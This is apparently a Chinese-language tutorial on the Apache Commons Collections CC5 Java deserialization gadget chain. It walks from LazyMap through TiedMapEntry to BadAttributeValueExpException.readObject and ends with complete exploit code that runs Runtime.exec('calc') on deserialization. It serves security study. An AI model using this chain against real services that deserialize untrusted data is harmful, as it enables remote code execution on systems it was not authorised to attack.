🌸 CC5
CC5
的代码和CC1
的代码后半段链子是一样的,前面略有不同。
这里直接看ysoserial
作者的Gadget
。
可以看到在寻找transform
的调用时,并不像CC1
那样,而是利用的LazyMap
的get
方法进行调用!上面的利用也就都变化了。
🌸 代码分析
还是从LazyMap
的get
方法,进行分析:
get
方法接受了key
,其实这里的key
就可以随便传递,毕竟后续是递归调用。factory
变量就需要传递的是ChainedTransformer
。当然了需要满足if
条件,才可以执行!那就继续找get
方法的调用处:
于是找到了TiedMapEntry
的toString
方法,在这个方法中,调用了两个方法:getKey
和getValue
方法!然而在getValue
方法中调用了get
方法:
上面的代码是TiedMapEntry
类的构造器和getValue
方法!构造器传递的Map
和Key
,其中Map
我们需要传递LazyMap
,key
是随便传递的。继续往上找toString
的调用处:
于是在BadAttributeValueExpException
类中的readObject
方法中找到了调用!(真不知道大佬怎么找出来的,直接查找用法的话,太多了~),通过valObj
调用了toString
方法,所以valObj
就是TiedMapEntry
的实例。
上述代码中存在两行代码,主要是给valObj
变量进行赋值:
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
先调用readFields方法
从流中读取了所有的持久化字段,然后调用get()
方法得到了名字是val
的字段。
所以我们需要看一下构造器,是不是可以直接传递val变量的值。
这里我们观察到val
变量是私有的。而且我们不可以直接通过构造器传递val变量的值为TiedMapEntry
类的实例,因为在他的构造器中直接就调用了TiedMapEntry
的toString
方法!
所以可以通过反射修改val
的值,来间接修改valobj
。
因此整体的利用代码如下:
package org.y4y17;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CC5 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();//这里发现HashMap的get方法中存在着调用transform方法的实现Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//上面对lazyMap进行了初始化TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Y4y17");//tiedMapEntity的toString方法调用 get方法BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Class<? extends BadAttributeValueExpException> aClass = badAttributeValueExpException.getClass();Field valField = aClass.getDeclaredField("val");valField.setAccessible(true);valField.set(badAttributeValueExpException,tiedMapEntry);
// serialization(badAttributeValueExpException);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.ser"));objectInputStream.readObject();objectInputStream.close();}
}
代码执行成功: